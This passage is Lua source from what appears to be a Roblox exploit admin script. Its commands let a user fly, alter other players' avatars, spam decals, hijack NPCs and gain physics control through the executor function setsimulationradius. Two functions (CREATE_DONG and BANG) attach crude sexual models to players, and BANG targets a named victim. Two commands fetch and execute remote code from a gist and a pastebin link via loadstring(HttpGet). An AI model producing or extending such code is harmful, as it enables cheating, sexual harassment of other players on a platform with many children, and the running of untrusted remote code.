						BG.cframe = gWorkspace.CurrentCamera.CoordinateFrame
					until not FLYING
					CONTROL = {F = 0, B = 0, L = 0, R = 0}
					lCONTROL = {F = 0, B = 0, L = 0, R = 0}
					SPEED = 0
					BG:destroy()
					BV:destroy()
					LP.Character.Humanoid.PlatformStand = false
				end)
			end
	
			MOUSE.KeyDown:connect(function(KEY)
				if KEY:lower() == 'w' then
					CONTROL.F = 1
				elseif KEY:lower() == 's' then
					CONTROL.B = -1
				elseif KEY:lower() == 'a' then
					CONTROL.L = -1 
				elseif KEY:lower() == 'd' then 
					CONTROL.R = 1
				end
			end)
	
			MOUSE.KeyUp:connect(function(KEY)
				if KEY:lower() == 'w' then
					CONTROL.F = 0
				elseif KEY:lower() == 's' then
					CONTROL.B = 0
				elseif KEY:lower() == 'a' then
					CONTROL.L = 0
				elseif KEY:lower() == 'd' then
					CONTROL.R = 0
				end
			end)
			FLY()
		end
	
		function NOFLY()
			FLYING = false
			LP.Character.Humanoid.PlatformStand = false
		end
	
		function RESET_MODEL(MODEL)
			for i,v in pairs(MODEL:GetChildren()) do
				if v:IsA('Part') and v.Name == 'LA_INFECT' or v:IsA('Part') and v.Name == 'RA_INFECT' or v:IsA('Seat') and v.Name == 'FakeTorso' then
					v:destroy()
				elseif v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Hat') then
					v:destroy()
				elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
					v.Transparency = 0
				elseif v:IsA('ShirtGraphic') then
					v.Archivable = false
					v.Graphic = ''
				end
			end
			for i,v in pairs(MODEL.Torso:GetChildren()) do
				if v:IsA('SpecialMesh') then
					v:destroy()
				end
			end
			if MODEL.Head:FindFirstChild('Mesh') then
				MODEL.Head.Mesh:destroy()
			end
			if MODEL.Torso:FindFirstChild('Neck') then MODEL.Torso.Neck.C0 = CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0) end
			if MODEL.Torso:FindFirstChild('Left Shoulder') then MODEL.Torso['Left Shoulder'].C0 = CFrame.new(-1, 0.5, 0) * CFrame.Angles(0, math.rad(-90), 0) end
			if MODEL.Torso:FindFirstChild('Right Shoulder') then MODEL.Torso['Right Shoulder'].C0 = CFrame.new(1, 0.5, 0) * CFrame.Angles(0, math.rad(90), 0) end
			if MODEL.Torso:FindFirstChild('Left Hip') then MODEL.Torso['Left Hip'].C0 = CFrame.new(-1, -1, 0) * CFrame.Angles(0, math.rad(-90), 0) end
			if MODEL.Torso:FindFirstChild('Right Hip') then MODEL.Torso['Right Hip'].C0 = CFrame.new(1, -1, 0) * CFrame.Angles(0, math.rad(90), 0) end
		end
	
		function UPDATE_MODEL(MODEL, USERNAME)
			local AppModel = gPlayers:GetCharacterAppearanceAsync(gPlayers:GetUserIdFromNameAsync(USERNAME))
			MODEL.Name = USERNAME
			for i,v in pairs(AppModel:GetChildren()) do
				if v:IsA('SpecialMesh') or v:IsA('BlockMesh') or v:IsA('CylinderMesh') then
					v.Parent = MODEL.Head
				elseif v:IsA('Decal') then
					if MODEL.Head:FindFirstChild('face') then
						MODEL.Head.face.Texture = v.Texture
					else
						local FACE = Instance.new('Decal', MODEL.Head)
						FACE.Texture = v.Texture
					end
				elseif v:IsA('BodyColors') or v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then
					if MODEL:FindFirstChild('Body Colors') then
						MODEL['Body Colors']:destroy()
					end
					v.Parent = MODEL
				elseif v:IsA('Hat') then
					v.Parent = MODEL
					v.Handle.CFrame = MODEL.Head.CFrame * CFrame.new(0, MODEL.Head.Size.Y / 2, 0) * v.AttachmentPoint:inverse()
				end
			end
			if not MODEL.Head:FindFirstChild('Mesh') then
				local SM = Instance.new('SpecialMesh', MODEL.Head)
				SM.MeshType = Enum.MeshType.Head
				SM.Scale = Vector3.new(1.25, 1.25, 1.25)
			end
		end
	
		function CREEPER(PLAYER)
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Shirt') or v:IsA('Pants') then
					v:destroy()
				elseif v:IsA('ShirtGraphic') then
					v.Archivable = false
					v.Graphic = ''
				end
			end
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Hat') then
					v:destroy()
				end
			end
			PLAYER.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
			PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
			PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
			PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
			PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
					v.BrickColor = BrickColor.new('Bright green')
				end
			end
		end
	
		function SHREK(PLAYER)
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Hat') or v:IsA('CharacterMesh') then
					v:destroy()
				elseif v:IsA('ShirtGraphic') then
					v.Archivable = false
					v.Graphic = ''
				end
			end
			for i,v in pairs(PLAYER.Character.Head:GetChildren()) do
				if v:IsA('Decal') or v:IsA('SpecialMesh') then
					v:destroy()
				end
			end
			if PLAYER.Character:FindFirstChild('Shirt Graphic') then
				PLAYER.Character['Shirt Graphic'].Archivable = false
				PLAYER.Character['Shirt Graphic'].Graphic = ''
			end
			local M = Instance.new('SpecialMesh', PLAYER.Character.Head)
			local S = Instance.new('Shirt', PLAYER.Character)
			local P = Instance.new('Pants', PLAYER.Character)
			M.MeshType = 'FileMesh'
			M.MeshId = 'http://www.roblox.com/asset/?id=19999257'
			M.Offset = Vector3.new(-0.1, 0.1, 0)
			M.TextureId = 'http://www.roblox.com/asset/?id=156397869'
			S.ShirtTemplate = 'rbxassetid://133078194'
			P.PantsTemplate = 'rbxassetid://133078204'
		end
	
		function DUCK(PLAYER)
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Part') and v.Name ~= 'Torso' and v.Name ~= 'HumanoidRootPart' then
					v.Transparency = 1
				elseif v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Hat') then
					v:destroy()
				elseif v:IsA('ShirtGraphic') then
					v.Archivable = false
					v.Graphic = ''
				end
			end
			local DUCK = Instance.new('SpecialMesh', PLAYER.Character.Torso)
			DUCK.MeshType = 'FileMesh'
			DUCK.MeshId = 'http://www.roblox.com/asset/?id=9419831'
			DUCK.TextureId = 'http://www.roblox.com/asset/?id=9419827'
			DUCK.Scale = Vector3.new(5, 5, 5)
			if PLAYER.Character.Head:FindFirstChild('face') then
				PLAYER.Character.Head.face.Transparency = 1
			end
		end
	
		function DOG(PLAYER)
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Shirt') or v:IsA('Pants') then
					v:destroy()
				elseif v:IsA('ShirtGraphic') then
					v.Archivable = false
					v.Graphic = ''
				end
			end
			PLAYER.Character.Torso.Transparency = 1
			PLAYER.Character.Torso.Neck.C0 = CFrame.new(0, -0.5, -2) * CFrame.Angles(math.rad(90), math.rad(180), 0)
			PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0.5, -1.5, -1.5) * CFrame.Angles(0, math.rad(90), 0)
			PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(-0.5, -1.5, -1.5) * CFrame.Angles(0, math.rad(-90), 0)
			PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(1.5, -1, 1.5) * CFrame.Angles(0, math.rad(90), 0)
			PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(-1.5, -1, 1.5) * CFrame.Angles(0, math.rad(-90), 0)
			local FakeTorso = Instance.new('Seat', PLAYER.Character)
			local BF = Instance.new('BodyForce', FakeTorso)
			local W = Instance.new('Weld', PLAYER.Character.Torso)
			FakeTorso.Name = 'FakeTorso'
			FakeTorso.FormFactor = 'Symmetric'
			FakeTorso.TopSurface = 0
			FakeTorso.BottomSurface = 0
			FakeTorso.Size = Vector3.new(3,1,4)
			FakeTorso.BrickColor = BrickColor.new('Brown')
			FakeTorso.CFrame = PLAYER.Character.Torso.CFrame
			BF.Force = Vector3.new(0, FakeTorso:GetMass() * 196.25, 0)
			W.Part0 = PLAYER.Character.Torso
			W.Part1 = FakeTorso
			W.C0 = CFrame.new(0, -0.5, 0)
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
					v.BrickColor = BrickColor.new('Brown')
				end
			end
		end
	
		function AYYLMAO(PLAYER)
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Hat') then
					v:destroy()
				elseif v:IsA('ShirtGraphic') then
					v.Archivable = false
					v.Graphic = ''
				elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
					v.BrickColor = BrickColor.new('Fossil')
				end
			end
			game:GetObjects('rbxassetid://13837194')[1].Parent = PLAYER.Character
		end
	
		function DECALSPAM(INSTANCE, ID)
			for i,v in pairs(INSTANCE:GetChildren()) do
				if v:IsA('BasePart') then
					spawn(function()
						local FACES = {'Back', 'Bottom', 'Front', 'Left', 'Right', 'Top'}
						local CURRENT_FACE = 1
						for i = 1, 6 do
							local DECAL = Instance.new('Decal', v)
							DECAL.Name = 'decal_seth'
							DECAL.Texture = 'rbxassetid://' .. ID - 1
							DECAL.Face = FACES[CURRENT_FACE]
							CURRENT_FACE = CURRENT_FACE + 1
						end
					end)
				end
				DECALSPAM(v, ID)
			end
		end
	
		function UNDECALSPAM(INSTANCE)
			for i,v in pairs(INSTANCE:GetChildren()) do
				if v:IsA('BasePart') then
					for a,b in pairs(v:GetChildren()) do
						if b:IsA('Decal') and b.Name == 'decal_seth' then
							b:destroy()
						end
					end
				end
				UNDECALSPAM(v)
			end
		end
	
		function CREATE_DONG(PLAYER, DONG_COLOR)
			if PLAYER.Character:FindFirstChild('DONG') then
				PLAYER.Character.DONG:destroy()
			end
			local D = Instance.new('Model', PLAYER.Character)
			D.Name = 'DONG'
	
			local BG = Instance.new('BodyGyro', PLAYER.Character.Torso)
			local MAIN = Instance.new('Part', PLAYER.Character['DONG'])
			local M1 = Instance.new('CylinderMesh', MAIN)
			local W1 = Instance.new('Weld', PLAYER.Character.Head)
			local P1 = Instance.new('Part', PLAYER.Character['DONG'])
			local M2 = Instance.new('SpecialMesh', P1)
			local W2 = Instance.new('Weld', P1)
			local B1 = Instance.new('Part', PLAYER.Character['DONG'])
			local M3 = Instance.new('SpecialMesh', B1)
			local W3 = Instance.new('Weld', B1)
			local B2 = Instance.new('Part', PLAYER.Character['DONG'])
			local M4 = Instance.new('SpecialMesh', B2)
			local W4 = Instance.new('Weld', B2)
	
			MAIN.TopSurface = 0 MAIN.BottomSurface = 0 MAIN.Name = 'Main' MAIN.formFactor = 3 MAIN.Size = Vector3.new(0.6, 2.5, 0.6) MAIN.BrickColor = BrickColor.new(DONG_COLOR) MAIN.Position = PLAYER.Character.Head.Position MAIN.CanCollide = false
	
			W1.Part0 = MAIN W1.Part1 = PLAYER.Character.Head W1.C0 = CFrame.new(0, 0.25, 2.1) * CFrame.Angles(math.rad(45), 0, 0)
	
			P1.Name = 'Mush' P1.BottomSurface = 0 P1.TopSurface = 0 P1.FormFactor = 3 P1.Size = Vector3.new(0.6, 0.6, 0.6) P1.CFrame = CFrame.new(MAIN.Position) P1.BrickColor = BrickColor.new('Pink') P1.CanCollide = false
	
			M2.MeshType = 'Sphere'
	
			W2.Part0 = MAIN W2.Part1 = P1 W2.C0 = CFrame.new(0, 1.3, 0)
	
			B1.Name = 'Left Ball' B1.BottomSurface = 0 B1.TopSurface = 0 B1.CanCollide = false B1.formFactor = 3 B1.Size = Vector3.new(1, 1, 1) B1.CFrame = CFrame.new(PLAYER.Character['Left Leg'].Position) B1.BrickColor = BrickColor.new(DONG_COLOR)
	
			M3.Parent = B1 M3.MeshType = 'Sphere'
	
			W3.Part0 = PLAYER.Character['Left Leg'] W3.Part1 = B1 W3.C0 = CFrame.new(0, 0.5, -0.5)
	
			B2.Name = 'Right Ball' B2.BottomSurface = 0 B2.CanCollide = false B2.TopSurface = 0 B2.formFactor = 3 B2.Size = Vector3.new(1, 1, 1) B2.CFrame = CFrame.new(PLAYER.Character['Right Leg'].Position) B2.BrickColor = BrickColor.new(DONG_COLOR)
	
			M4.MeshType = 'Sphere'
	
			W4.Part0 = PLAYER.Character['Right Leg'] W4.Part1 = B2 W4.C0 = CFrame.new(0, 0.5, -0.5)
		end
	
		function SCALE(C, S)
			if tonumber(S) < 0.5 then S = 0.5 elseif tonumber(S) > 25 then S = 25 end
	
			local HAT_CLONE = {}
	
			for i,v in pairs(C:GetChildren()) do if v:IsA('Hat') then local HC = v:Clone() table.insert(HAT_CLONE, HC) v:destroy() end end
	
			local HEAD = C.Head
			local TORSO = C.Torso
			local LA = C['Left Arm']
			local RA = C['Right Arm']
			local LL = C['Left Leg']
			local RL = C['Right Leg']
			local HRP = C.HumanoidRootPart
	
			HEAD.FormFactor = 3 TORSO.FormFactor = 3 LA.FormFactor = 3 RA.FormFactor = 3 LL.FormFactor = 3 RL.FormFactor = 3 HRP.FormFactor = 3
	
			HEAD.Size = Vector3.new(S * 2, S, S)
			TORSO.Size = Vector3.new(S * 2, S * 2, S)
			LA.Size = Vector3.new(S, S * 2, S)
			RA.Size = Vector3.new(S, S * 2, S)
			LL.Size = Vector3.new(S, S * 2, S)
			RL.Size = Vector3.new(S, S * 2, S)
			HRP.Size = Vector3.new(S * 2, S * 2, S)
	
			local M1 = Instance.new('Motor6D', TORSO)
			local M2 = Instance.new('Motor6D', TORSO)
			local M3 = Instance.new('Motor6D', TORSO)
			local M4 = Instance.new('Motor6D', TORSO)
			local M5 = Instance.new('Motor6D', TORSO)
			local M6 = Instance.new('Motor6D', HRP)
	
			M1.Name = 'Neck' M1.Part0 = TORSO M1.Part1 = HEAD M1.C0 = CFrame.new(0, 1 * S, 0) * CFrame.Angles(-1.6, 0, 3.1) M1.C1 = CFrame.new(0, -0.5 * S, 0) * CFrame.Angles(-1.6, 0, 3.1)
			M2.Name = 'Left Shoulder' M2.Part0 = TORSO M2.Part1 = LA M2.C0 = CFrame.new(-1 * S, 0.5 * S, 0) * CFrame.Angles(0, -1.6, 0) M2.C1 = CFrame.new(0.5 * S, 0.5 * S, 0) * CFrame.Angles(0, -1.6, 0)
			M3.Name = 'Right Shoulder' M3.Part0 = TORSO M3.Part1 = RA M3.C0 = CFrame.new(1 * S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0) M3.C1 = CFrame.new(-0.5 * S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0)
			M4.Name  = 'Left Hip' M4.Part0 = TORSO M4.Part1 = LL M4.C0 = CFrame.new(-1 * S, -1 * S, 0) * CFrame.Angles(0, -1.6, 0) M4.C1 = CFrame.new(-0.5 * S, 1 * S, 0) * CFrame.Angles(0, -1.6, 0)
			M5.Name = 'Right Hip' M5.Part0 = TORSO M5.Part1 = RL M5.C0 = CFrame.new(1 * S, -1 * S, 0) * CFrame.Angles(0, 1.6, 0) M5.C1 = CFrame.new(0.5 * S, 1 * S, 0) * CFrame.Angles(0, 1.6, 0)
			M6.Name = 'RootJoint' M6.Part0 = HRP M6.Part1 = TORSO M6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1) M6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
	
			wait()
	
			for i,v in pairs(HAT_CLONE) do v.Parent = C end
		end
	
		function CAPE(COLOR)
			if LP.Character:FindFirstChild('Cape') then LP.Character.Cape:destroy() end
	
			repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('Torso')
	
			local T = LP.Character.Torso
	
			local C = Instance.new('Part', T.Parent)
			C.Name = 'cape_seth'
			C.Anchored = false
			C.CanCollide = false
			C.TopSurface = 0
			C.BottomSurface = 0
			C.BrickColor = BrickColor.new(COLOR)
			C.Material = 'Neon'
			C.FormFactor = 'Custom'
			C.Size = Vector3.new(0.2, 0.2, 0.2)
	
			local M = Instance.new('BlockMesh', C)
			M.Scale = Vector3.new(9, 17.5, 0.5)
	
			local M1 = Instance.new('Motor', C)
			M1.Part0 = C
			M1.Part1 = T
			M1.MaxVelocity = 1
			M1.C0 = CFrame.new(0, 1.75, 0) * CFrame.Angles(0, math.rad(90), 0)
			M1.C1 = CFrame.new(0, 1, .45) * CFrame.Angles(0, math.rad(90), 0)
	
			local WAVE = false
	
			repeat wait(1 / 44)
				local ANG = 0.2
				local oldMag = T.Velocity.magnitude
				local MV = 0.1
	
				if WAVE then
					ANG = ANG + ((T.Velocity.magnitude / 10) * 0.05) + 1
					WAVE = false
				else
					WAVE = false
				end
				ANG = ANG + math.min(T.Velocity.magnitude / 30, 1)
				M1.MaxVelocity = math.min((T.Velocity.magnitude / 10), 0.04) + MV
				M1.DesiredAngle = -ANG
				if M1.CurrentAngle < -0.05 and M1.DesiredAngle > -.05 then
					M1.MaxVelocity = 0.04
				end
				repeat
					wait()
				until M1.CurrentAngle == M1.DesiredAngle or math.abs(T.Velocity.magnitude - oldMag)  >= (T.Velocity.magnitude / 10) + 1
				if T.Velocity.magnitude < 0.1 then
					wait(0.1)
				end
			until not C or C.Parent ~= T.Parent
		end
	
		function INFECT(PLAYER)
			for i,v in pairs(PLAYER.Character:GetChildren()) do
				if v:IsA('Hat') or v:IsA('Part') and v.Name == 'LA_INFECT' or v:IsA('Part') and v.Name == 'RA_INFECT' or v:IsA('Shirt') or v:IsA('Pants') then
					v:destroy()
				elseif v:IsA('Part') and v.Name == 'Left Arm' or v:IsA('Part') and v.Name == 'Right Arm' then
					v.Transparency = 1
				elseif v:IsA('ShirtGraphic') then
					v.Archivable = false
					v.Graphic = ''
				end
			end
	
			local LZOMBIE_ARM = Instance.new('Part', PLAYER.Character)
			local LWELD = Instance.new('Weld', LZOMBIE_ARM)
			local RZOMBIE_ARM = Instance.new('Part', PLAYER.Character)
			local RWELD = Instance.new('Weld', RZOMBIE_ARM)
	
			LZOMBIE_ARM.Name = 'LA_INFECT'
			LZOMBIE_ARM.BrickColor = BrickColor.new('Medium green')
			LZOMBIE_ARM.Size = Vector3.new(1, 1, 2)
			LZOMBIE_ARM.TopSurface = 'Smooth'
			LZOMBIE_ARM.BottomSurface = 'Smooth'
	
			LWELD.Part0 = PLAYER.Character.Torso
			LWELD.Part1 = LZOMBIE_ARM
			LWELD.C0 = CFrame.new(-1.5, 0.5, -0.5)
	
			RZOMBIE_ARM.Name = 'RA_INFECT'
			RZOMBIE_ARM.BrickColor = BrickColor.new('Medium green')
			RZOMBIE_ARM.Size = Vector3.new(1, 1, 2)
			RZOMBIE_ARM.TopSurface = 'Smooth'
			RZOMBIE_ARM.BottomSurface = 'Smooth'
	
			RWELD.Part0 = PLAYER.Character.Torso
			RWELD.Part1 = RZOMBIE_ARM
			RWELD.C0 = CFrame.new(1.5, 0.5, -0.5)
	
			if PLAYER.Character.Head:FindFirstChild('face') then
				PLAYER.Character.Head.face.Texture = 'rbxassetid://7074882'
			end
	
			for i,v in pairs (PLAYER.Character:GetChildren()) do
				if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
					if v.Name == 'Head' then
						v.BrickColor = BrickColor.new('Medium green')
					elseif v.Name == 'Torso' or v.Name == 'Left Leg' or v.Name == 'Right Leg' then
						v.BrickColor = BrickColor.new('Brown')
					end
				end
			end
		end
	
		function fWeld(zName, zParent, zPart0, zPart1, zCoco, A, B, C, D, E, F)
			local funcw = Instance.new('Weld') funcw.Name = zName funcw.Parent = zParent funcw.Part0 = zPart0 funcw.Part1 = zPart1
			if (zCoco) then
				funcw.C0 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
			else
				funcw.C1 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
			end
			return funcw
		end
	
		function BANG(VICTIM)
			spawn(function()
				local P1 = gPlayers.LocalPlayer.Character.Torso
				local V1 = gPlayers[VICTIM].Character.Torso
	
				V1.Parent.Humanoid.PlatformStand = true
	
				P1['Left Shoulder']:destroy() local LA1 = Instance.new('Weld', P1) LA1.Part0 = P1 LA1.Part1 = P1.Parent['Left Arm'] LA1.C0 = CFrame.new(-1.5, 0, 0) LA1.Name = 'Left Shoulder'
	
				P1['Right Shoulder']:destroy() local RS1 = Instance.new('Weld', P1) RS1.Part0 = P1 RS1.Part1 = P1.Parent['Right Arm'] RS1.C0 = CFrame.new(1.5, 0, 0) RS1.Name = 'Right Shoulder'
	
				V1['Left Shoulder']:destroy() local LS2 = Instance.new('Weld', V1) LS2.Part0 = V1 LS2.Part1 = V1.Parent['Left Arm'] LS2.C0 = CFrame.new(-1.5, 0, 0) LS2.Name = 'Left Shoulder'
	
				V1['Right Shoulder']:destroy() local RS2 = Instance.new('Weld', V1) RS2.Part0 = V1 RS2.Part1 = V1.Parent['Right Arm'] RS2.C0 = CFrame.new(1.5, 0, 0) RS2.Name = 'Right Shoulder'
	
				V1['Left Hip']:destroy() local LH2 = Instance.new('Weld', V1) LH2.Part0 = V1 LH2.Part1 = V1.Parent['Left Leg'] LH2.C0 = CFrame.new(-0.5, -2, 0) LH2.Name = 'Left Hip'
	
				V1['Right Hip']:destroy() local RH2 = Instance.new('Weld', V1) RH2.Part0 = V1 RH2.Part1 = V1.Parent['Right Leg'] RH2.C0 = CFrame.new(0.5, -2, 0) RH2.Name = 'Right Hip'
	
				local D = Instance.new('Part', P1) D.TopSurface = 0 D.BottomSurface = 0 D.CanCollide = false D.BrickColor = BrickColor.new('Pastel brown') D.Shape = 'Ball' D.Size = Vector3.new(1, 1, 1)
	
				local DM1 = Instance.new('SpecialMesh', D) DM1.MeshType = 'Sphere' DM1.Scale = Vector3.new(0.4, 0.4, 0.4)
	
				fWeld('weld', P1, P1, D, true, -0.2, -1.3, -0.6, 0, 0, 0)
	
				local D2 = D:Clone() D2.Parent = P1
	
				fWeld('weld', P1, P1, D2, true, 0.2, -1.3, -0.6, 0, 0, 0)
	
				local C = Instance.new('Part', P1) C.TopSurface = 0 C.BottomSurface = 0 C.CanCollide = false C.BrickColor = BrickColor.new('Pastel brown') C.formFactor = 'Custom' C.Size = Vector3.new(0.4, 1.3, 0.4)
	
				fWeld('weld', P1, P1, C, true, 0, -1, -0.52 + (-C.Size.y / 2), math.rad(-80), 0, 0)
	
				local C2 = D:Clone() C2.BrickColor = BrickColor.new('Pink') C2.Mesh.Scale = Vector3.new(0.4, 0.62, 0.4) C2.Parent = P1
	
				fWeld('weld', C, C, C2, true, 0, 0 + (C.Size.y / 2), 0, math.rad(-10), 0, 0)
	
				local CM = Instance.new('CylinderMesh', C)
	
				local BL = Instance.new('Part', V1) BL.TopSurface = 0 BL.BottomSurface = 0 BL.CanCollide = false BL.BrickColor = BrickColor.new('Pastel brown') BL.Shape = 'Ball' BL.Size = Vector3.new(1, 1, 1)
	
				local DM2 = Instance.new('SpecialMesh', BL) DM2.MeshType = 'Sphere' DM2.Scale = Vector3.new(1.2, 1.2, 1.2)
	
				fWeld('weld', V1, V1, BL, true, -0.5, 0.5, -0.6, 0, 0, 0)
	
				local BR = Instance.new('Part', V1) BR.TopSurface = 0 BR.BottomSurface = 0 BR.CanCollide = false BR.BrickColor = BrickColor.new('Pastel brown') BR.Shape = 'Ball' BR.Size = Vector3.new(1, 1, 1)
	
				local DM3 = Instance.new('SpecialMesh', BR) DM3.MeshType = 'Sphere' DM3.Scale = Vector3.new(1.2, 1.2, 1.2)
	
				fWeld('weld', V1, V1, BR, true, 0.5, 0.5, -0.6, 0, 0, 0)
	
				local BLN = Instance.new('Part', V1) BLN.TopSurface = 0 BLN.BottomSurface = 0 BLN.CanCollide = false BLN.BrickColor = BrickColor.new('Pink') BLN.Shape = 'Ball' BLN.Size = Vector3.new(1, 1, 1)
	
				local DM4 = Instance.new('SpecialMesh', BLN) DM4.MeshType = 'Sphere' DM4.Scale = Vector3.new(0.2, 0.2, 0.2)
	
				fWeld('weld', V1, V1, BLN, true, -0.5, 0.5, -1.2, 0, 0, 0)
	
				local BRN = Instance.new('Part', V1) BRN.TopSurface = 0 BRN.BottomSurface = 0 BRN.CanCollide = false BRN.BrickColor = BrickColor.new('Pink') BRN.Shape = 'Ball' BRN.Size = Vector3.new(1, 1, 1)
	
				local DM5 = Instance.new('SpecialMesh', BRN) DM5.MeshType = 'Sphere' DM5.Scale = Vector3.new(0.2, 0.2, 0.2)
	
				fWeld('weld', V1, V1, BRN, true, 0.5, 0.5, -1.2, 0, 0, 0)
	
				LH2.C1 = CFrame.new(0.2, 1.6, 0.4) * CFrame.Angles(3.9, -0.4, 0) RH2.C1 = CFrame.new(-0.2, 1.6, 0.4) * CFrame.Angles(3.9, 0.4, 0)
				LS2.C1 = CFrame.new(-0.2, 0.9, 0.6) * CFrame.Angles(3.9, -0.2, 0) RS2.C1 = CFrame.new(0.2, 0.9, 0.6) * CFrame.Angles(3.9, 0.2, 0)
				LA1.C1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(-0.9, -0.4, 0) RS1.C1 = CFrame.new(0.5, 0.7, 0) * CFrame.Angles(-0.9, 0.4, 0)
	
				if P1:FindFirstChild('weldx') then P1.weldx:destroy() end
	
				WE = fWeld('weldx', P1, P1, V1, true, 0, -0.9, -1.3, math.rad(-90), 0, 0)
	
				local N = V1.Neck N.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-210), math.rad(180), 0)
			end)
			spawn(function() while wait() do for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, -0.3, 0) wait() end for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, 0.3, 0) wait() end end end)
		end
	
		_G.CLICK_TP = true
		local M_CTRL = false
	
		MOUSE.KeyDown:connect(function(K) if K:byte() == 50 then M_CTRL = true end end)
		MOUSE.KeyUp:connect(function(K) if K:byte() == 50 then M_CTRL = false end end)
	
		gLighting.Outlines = false -- / outlines are gross
	
		if FIND_IN_TABLE(BANS, LP.userId) then LP:Kick('You\'re on the ban list.') end
	
		for i,v in pairs(gPlayers:GetPlayers()) do if FIND_IN_TABLE(BANS, v.userId) then table.insert(KICKS, v) else UPDATE_CHAT(v) end end
	
		-- / commands
	
		ADD_COMMAND('QuirkyCMD','QuirkyCMD',{},
		function()
			loadstring(game:HttpGet("https://gist.github.com/someunknowndude/38cecea5be9d75cb743eac8b1eaf6758/raw"))();
		end)
	
		ADD_COMMAND('table','table',{},
		function()
			loadstring(game:HttpGet(('https://pastebin.com/raw/UmdYd4bE'),true))()
			local plr = game.Players.LocalPlayer
			game:GetService("RunService").Stepped:Connect(function()
				setsimulationradius(9e9,9e9)
				plr.ReplicationFocus = workspace
				settings().Physics.AllowSleep = false
			end)
			local runservice=game:service"RunService";
			local player=game:service"Players"["LocalPlayer"];
			local character=player["Character"];
			character["Head"]:FindFirstChildOfClass"SpecialMesh":Destroy();
	
			character["Humanoid"].HipHeight=-2;
			character["Left Leg"]:BreakJoints();
			character["Right Leg"]:BreakJoints();
			character["Left Arm"]:BreakJoints();
			character["Right Arm"]:BreakJoints();
			while runservice["Heartbeat"]:Wait() do
				character["Left Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0);
				character["Right Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0);
				character["Left Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,0,2);
				character["Right Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,0,2);
			end	
		end)
	
		ADD_COMMAND('controlnpcs','controlnpcs',{},
		function()
			--- made by joshclark756#7155
			-- Variables
			local mouse = game.Players.LocalPlayer:GetMouse()
			local uis = game:GetService("UserInputService")
	
			-- Connect
			mouse.Button1Down:Connect(function()
				-- Check for Target & Left Shift
				if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
					local npc = mouse.target.Parent
					local npcRootPart = npc.HumanoidRootPart
					local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
					local PlayerRootPart = PlayerCharacter.HumanoidRootPart
					local A0 = Instance.new("Attachment")
					local AP = Instance.new("AlignPosition")
					local AO = Instance.new("AlignOrientation")
					local A1 = Instance.new("Attachment")
					for _, v in pairs(npc:GetDescendants()) do
						if v:IsA("BasePart") then
							game:GetService("RunService").Stepped:Connect(function()
								v.CanCollide = false
							end)
						end
					end
					PlayerRootPart:BreakJoints()
					for _, v in pairs(PlayerCharacter:GetDescendants()) do
						if v:IsA("BasePart") then
							if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
							else
								v:Destroy()
							end
						end
					end
					PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(5, 0, 0)
					PlayerCharacter.Head.Anchored = true
					PlayerCharacter.UpperTorso.Anchored = true
					A0.Parent = npcRootPart
					AP.Parent = npcRootPart
					AO.Parent = npcRootPart
					AP.Responsiveness = 200
					AP.MaxForce = math.huge
					AO.MaxTorque = math.huge
					AO.Responsiveness = 200
					AP.Attachment0 = A0
					AP.Attachment1 = A1
					AO.Attachment1 = A1
					AO.Attachment0 = A0
					A1.Parent = PlayerRootPart
				end
			end)
		end)
	
